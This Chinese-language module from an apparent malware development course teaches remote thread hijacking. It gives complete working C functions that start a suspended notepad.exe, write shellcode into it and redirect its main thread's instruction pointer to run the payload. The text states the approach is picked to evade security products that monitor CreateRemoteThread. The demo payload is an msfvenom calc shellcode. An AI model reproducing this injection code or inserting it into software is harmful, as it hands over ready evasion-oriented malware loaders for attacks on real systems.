36-线程劫持 - 远程线程创建
导言
在前一个模块中,我们演示了如何在本地进程中劫持线程,方法是创建一个挂起的牺牲线程来运行一个良性的虚拟函数,并利用其句柄来执行有效负载。此模块将演示针对远程进程(而不是本地进程)使用相同技术。
此模块中另一个显着差异是,不会在远程进程中创建牺牲线程。虽然这可以通过 CreateRemoteThread
WinAPI 调用来完成,但这是一个经常被滥用的函数,因此受到安全解决方案的高度监控。
更好的方法是使用 CreateProcess 在挂起状态中创建一个牺牲进程,这将以挂起状态创建其所有线程,从而允许它们被劫持。
远程线程劫持步骤
本部分介绍在远程进程常驻线程上执行线程劫持的必要步骤。
CreateProcess WinAPI
CreateProcess
是一款强大且重要的 WinAPI 函数,拥有多种用途。为了确保用户对此函数有深入的了解,此处介绍该函数的重要参数。
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
lpApplicationName
和lpCommandLine
参数分别表示进程名称及其命令行参数。例如,lpApplicationName
可以是C:\Windows\System32\cmd.exe
,而lpCommandLine
可以是/k whoami
。或者,lpApplicationName
可以设置为NULL
,但lpCommandLine
可以包含进程名称及其参数,例如C:\Windows\System32\cmd.exe /k whoami
。这两个参数均标记为可选,这意味着新创建的进程不必有任何参数。dwCreationFlags
是控制优先级类和进程创建的参数。此参数的可能值可以在 此处 找到。例如,使用CREATE_SUSPENDED
标志可以在挂起状态下创建进程。lpStartupInfo
是指向 STARTUPINFO 的指针,其中包含与进程创建相关的信息。唯一需要填充的元素是DWORD cb
,它是结构体的字节大小。lpProcessInformation
是一个输出参数,它返回一个 PROCESS_INFORMATION 结构。PROCESS_INFORMATION
结构如下所示。
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess; // 新创建的进程的句柄。
HANDLE hThread; // 新创建的进程的主线程的句柄。
DWORD dwProcessId; // 进程 ID
DWORD dwThreadId; // 主线程的 ID
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
使用环境变量
创建进程的最后一个环节就是要确定进程的完整路径。牺牲进程将会从驻留在 System32
目录中的一个二进制文件创建。直接假设该路径是 C:\Windows\System32
并且硬编码该值是可行的,但对该路径进行编程验证总是更加安全。若要验证,将使用 GetEnvironmentVariableA WinAPI。GetEnvironmentVariableA
检索指定环境变量的值,在本例中是“WINDIR”。
WINDIR
是一个指向 Windows 操作系统安装目录的环境变量。在大多数系统上,该目录是“C:\Windows”。可以通过在命令提示符中键入“echo %WINDIR%”或直接在文件资源管理器搜索栏中键入 %WINDIR%
来访问 WINDIR 环境变量的值。
DWORD GetEnvironmentVariableA(
[in, optional] LPCSTR lpName,
[out, optional] LPSTR lpBuffer,
[in] DWORD nSize
);
创建牺牲进程函数
CreateSuspendedProcess
用于以挂起状态创建牺牲进程。它需要 4 个参数:
lpProcessName
- 要创建的进程名称。dwProcessId
- 指向接收进程 ID 的 DWORD 指针。hProcess
- 指向接收进程句柄的句柄指针。hThread
- 指向接收线程句柄的句柄指针。
BOOL CreateSuspendedProcess (IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// 通过将成员值设置为 0 来清除结构
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// 设置结构的大小
Si.cb = sizeof(STARTUPINFO);
// 获取 %WINDIR% 环境变量的值
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA 失败,错误为:%d \n", GetLastError());
return FALSE;
}
// 创建完整的目标进程路径
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] 正在运行:\"%s\" ... ", lpPath);
if (!CreateProcessA(
NULL, // 无模块名(使用命令行)
lpPath, // 命令行
NULL, // 进程句柄不可继承
NULL, // 线程句柄不可继承
FALSE, // 将句柄继承设置为 FALSE
CREATE_SUSPENDED, // 创建标志
NULL, // 使用父进程的环境块
NULL, // 使用父进程的启动目录
&Si, // 指向 STARTUPINFO 结构的指针
&Pi)) { // 指向 PROCESS_INFORMATION 结构的指针
printf("[!] CreateProcessA 失败,错误为:%d \n", GetLastError());
return FALSE;
}
printf("[+] 完成 \n");
// 使用 CreateProcessA 的输出填充 OUT 参数
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// 执行检查以验证我们是否拥有所需的一切
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}
远程进程函数注入
在创建目标进程后,下一步是使用进程注入-Shellcode 初学者模块中的 InjectShellcodeToRemoteProcess 函数注入有效载荷。有效载荷仅写入远程进程,而不执行。然后通过线程劫持存储基本地址以供以后使用。
BOOL InjectShellcodeToRemoteProcess (IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (*ppAddress == NULL) {
printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
远程线程劫持函数
在创建挂起进程并将有效负载写入远程进程后,最后一步是使用由 CreateSuspendedProcess
返回的线程句柄来执行线程劫持。这一部分与在本地线程劫持模块中演示的内容相同。
回顾一下,GetThreadContext
用于检索线程的上下文,更新 RIP
寄存器以指向编写的有效负载,调用 SetThreadContext
以更新线程的上下文,最后使用 ResumeThread
执行有效负载。所有这些都在下面的自定义函数 HijackThread
中进行了演示,它接受两个参数:
hThread
- 要劫持的线程。pAddress
- 要执行的有效负载的基址指针。
BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_CONTROL
};
// 获取原始线程上下文
if (!GetThreadContext(hThread, &ThreadCtx)) {
printf("\n\t[!] GetThreadContext 失败,错误代码:%d \n", GetLastError());
return FALSE;
}
// 将下一条指令指针更新为我们的 shellcode 地址
ThreadCtx.Rip = pAddress;
// 设置新的已更新线程上下文
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("\n\t[!] SetThreadContext 失败,错误代码:%d \n", GetLastError());
return FALSE;
}
// 恢复挂起的线程,从而运行我们的有效负载
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
总结
本模块介绍的内容快速回顾:
使用
CreateProcessA
创建了一个处于挂起状态的新进程,并创建了同样处于挂起状态的所有线程。使用
VirtualAllocEx
和WriteProcessMemory
将有效载荷注入到新创建的进程中,但并未执行。使用
CreateProcessA
返回的线程句柄通过线程劫持执行有效载荷。
演示
此演示使用 Notepad.exe
作为牺牲进程,劫持其线程并执行 Msfvenom calc shellcode。
- shellcode:一段包含可执行指令的代码,通常用于创建反向 shell 或执行其他恶意操作。
- Msfvenom:一个 Metasploit 框架中用来生成 shellcode 和漏洞利用代码的工具。